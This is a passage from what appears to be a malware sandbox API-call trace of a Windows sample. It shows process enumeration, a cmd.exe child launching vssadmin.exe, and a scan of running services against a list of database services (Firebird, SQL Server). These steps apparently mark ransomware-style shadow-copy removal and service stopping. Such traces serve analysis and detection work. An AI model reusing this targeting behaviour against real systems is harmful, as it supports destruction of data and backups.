lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0214.749] lstrlenW (lpString="explorer.exe") returned 12 [0214.749] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0214.750] lstrlenW (lpString="Memory Compression") returned 18 [0214.750] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0214.751] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0214.751] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0214.751] lstrlenW (lpString="SearchUI.exe") returned 12 [0214.752] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0214.753] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0214.753] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0214.754] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0214.754] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="entering.exe")) returned 1 [0214.755] lstrlenW (lpString="entering.exe") returned 12 [0214.755] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="literally.exe")) returned 1 [0214.756] lstrlenW (lpString="literally.exe") returned 13 [0214.756] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="prep.exe")) returned 1 [0214.757] lstrlenW (lpString="prep.exe") returned 8 [0214.757] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="homeless.exe")) returned 1 [0214.758] lstrlenW (lpString="homeless.exe") returned 12 [0214.758] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="tips.exe")) returned 1 [0214.759] lstrlenW (lpString="tips.exe") returned 8 [0214.759] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="rhode_cow.exe")) returned 1 [0214.760] lstrlenW (lpString="rhode_cow.exe") returned 13 [0214.760] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="discount.exe")) returned 1 [0214.760] lstrlenW (lpString="discount.exe") returned 12 [0214.761] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="littleclosest.exe")) returned 1 [0214.761] lstrlenW (lpString="littleclosest.exe") returned 17 [0214.762] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="compact.exe")) returned 1 [0214.762] lstrlenW (lpString="compact.exe") returned 11 [0214.763] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="transmission-inclusion.exe")) returned 1 [0214.764] lstrlenW (lpString="transmission-inclusion.exe") returned 26 [0214.764] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mcdonald-drugs-employers.exe")) returned 1 [0214.765] lstrlenW (lpString="mcdonald-drugs-employers.exe") returned 28 [0214.765] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="harris promoting wow.exe")) returned 1 [0214.766] lstrlenW (lpString="harris promoting wow.exe") returned 24 [0214.766] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="vincentkills.exe")) returned 1 [0214.766] lstrlenW (lpString="vincentkills.exe") returned 16 [0214.767] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="armstrong.exe")) returned 1 [0214.767] lstrlenW (lpString="armstrong.exe") returned 13 [0214.768] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="superb_guilty.exe")) returned 1 [0214.768] lstrlenW (lpString="superb_guilty.exe") returned 17 [0214.769] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="conditional employer.exe")) returned 1 [0214.769] lstrlenW (lpString="conditional employer.exe") returned 24 [0214.769] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="middle shown.exe")) returned 1 [0214.770] lstrlenW (lpString="middle shown.exe") returned 16 [0214.770] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="forced_online.exe")) returned 1 [0214.771] lstrlenW (lpString="forced_online.exe") returned 17 [0214.771] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="knitting.exe")) returned 1 [0214.772] lstrlenW (lpString="knitting.exe") returned 12 [0214.772] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="counting_rankings_maternity.exe")) returned 1 [0214.773] lstrlenW (lpString="counting_rankings_maternity.exe") returned 31 [0214.773] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="telephony_assumption_pharmacies.exe")) returned 1 [0214.774] lstrlenW (lpString="telephony_assumption_pharmacies.exe") returned 35 [0214.774] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="guidance inns helpful.exe")) returned 1 [0214.775] lstrlenW (lpString="guidance inns helpful.exe") returned 25 [0214.775] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.776] lstrlenW (lpString="svchost.exe") returned 11 [0214.776] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0214.777] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0214.778] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xd14, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0214.778] lstrlenW (lpString="conhost.exe") returned 11 [0214.779] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0214.780] lstrlenW (lpString="TrustedInstaller.exe") returned 20 [0214.780] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0214.781] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0214.781] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0214.782] lstrlenW (lpString="WMIADAP.exe") returned 11 [0214.782] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0xb04, pcPriClassBase=8, dwFlags=0x0, szExeFile="11.exe")) returned 1 [0214.783] lstrlenW (lpString="11.exe") returned 6 [0214.783] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0214.805] lstrlenW (lpString="cmd.exe") returned 7 [0214.805] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xb10, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0214.806] lstrlenW (lpString="conhost.exe") returned 11 [0214.806] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xb10, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0214.807] lstrlenW (lpString="vssadmin.exe") returned 12 [0214.807] Process32NextW (in: hSnapshot=0x318, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xb10, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0214.808] CloseHandle (hObject=0x318) returned 1 [0214.808] Sleep (dwMilliseconds=0x1f4) [0215.312] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x889ac0 [0215.313] EnumServicesStatusExW (in: hSCManager=0x889ac0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0) returned 0 [0215.313] GetLastError () returned 0xea [0215.313] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1e4a) returned 0x801a48 [0215.313] EnumServicesStatusExW (in: hSCManager=0x889ac0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x801a48, cbBufSize=0x1e4a, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x801a48, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0) returned 1 [0215.314] CloseServiceHandle (hSCObject=0x889ac0) returned 1 [0215.314] lstrlenW (lpString="Appinfo") returned 7 [0215.314] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0215.314] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0215.314] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0215.314] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0215.314] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0215.314] lstrlenW (lpString="AppXSvc") returned 7 [0215.314] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0215.314] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0215.314] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0215.314] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0215.314] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0215.314] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0215.314] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0215.314] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0215.314] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0215.314] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0215.314] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0215.314] lstrlenW (lpString="Audiosrv") returned 8 [0215.314] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0215.314] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0215.314] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0215.314] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0215.314] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0215.314] lstrlenW (lpString="BFE") returned 3 [0215.314] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0215.314] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0215.314] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0215.315] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0215.315] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0215.315] lstrlenW (lpString="BITS") returned 4 [0215.315] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0215.315] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0215.315] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0215.315] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0215.315] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0215.315] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0215.315] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0215.315] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0215.315] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0215.315] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0215.315] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0215.315] lstrlenW (lpString="CDPSvc") returned 6 [0215.315] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0215.315] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0215.315] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0215.315] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0215.315] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0215.315] lstrlenW (lpString="ClickToRunSvc") returned 13 [0215.315] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0215.315] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0215.315] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0215.315] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0215.315] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0215.315] lstrlenW (lpString="ClipSVC") returned 7 [0215.315] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0215.315] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0215.315] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0215.315] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0215.315] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0215.315] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0215.315] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0215.315] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0215.315] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0215.315] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0215.316] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0215.316] lstrlenW (lpString="CryptSvc") returned 8 [0215.316] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0215.316] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0215.316] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0215.316] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0215.316] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0215.316] lstrlenW (lpString="DcomLaunch") returned 10 [0215.316] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0215.316] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0215.316] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0215.316] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0215.316] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0215.316] lstrlenW (lpString="Dhcp") returned 4 [0215.316] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0215.316] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0215.316] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0215.316] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0215.316] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0215.316] lstrlenW (lpString="Dnscache") returned 8 [0215.316] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0215.316] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0215.316] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0215.316] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0215.316] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0215.316] lstrlenW (lpString="DoSvc") returned 5 [0215.316] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0215.316] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0215.316] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0215.316] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0215.316] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0215.316] lstrlenW (lpString="DPS") returned 3 [0215.316] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0215.316] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0215.316] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0215.316] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0215.317] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0215.317] lstrlenW (lpString="DusmSvc") returned 7 [0215.317] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0215.317] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0215.317] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0215.317] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0215.317] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0215.317] lstrlenW (lpString="EventLog") returned 8 [0215.317] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0215.317] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0215.317] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0215.317] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0215.317] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0215.317] lstrlenW (lpString="EventSystem") returned 11 [0215.317] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0215.317] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0215.317] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0215.317] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0215.317] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0215.317] lstrlenW (lpString="FontCache") returned 9 [0215.317] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0215.317] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0215.317] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0215.317] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0215.317] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0215.317] lstrlenW (lpString="gpsvc") returned 5 [0215.317] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0215.317] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0215.317] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0215.317] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0215.317] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0215.318] lstrlenW (lpString="iphlpsvc") returned 8 [0215.318] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0215.318] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0215.318] lstrcmpiW 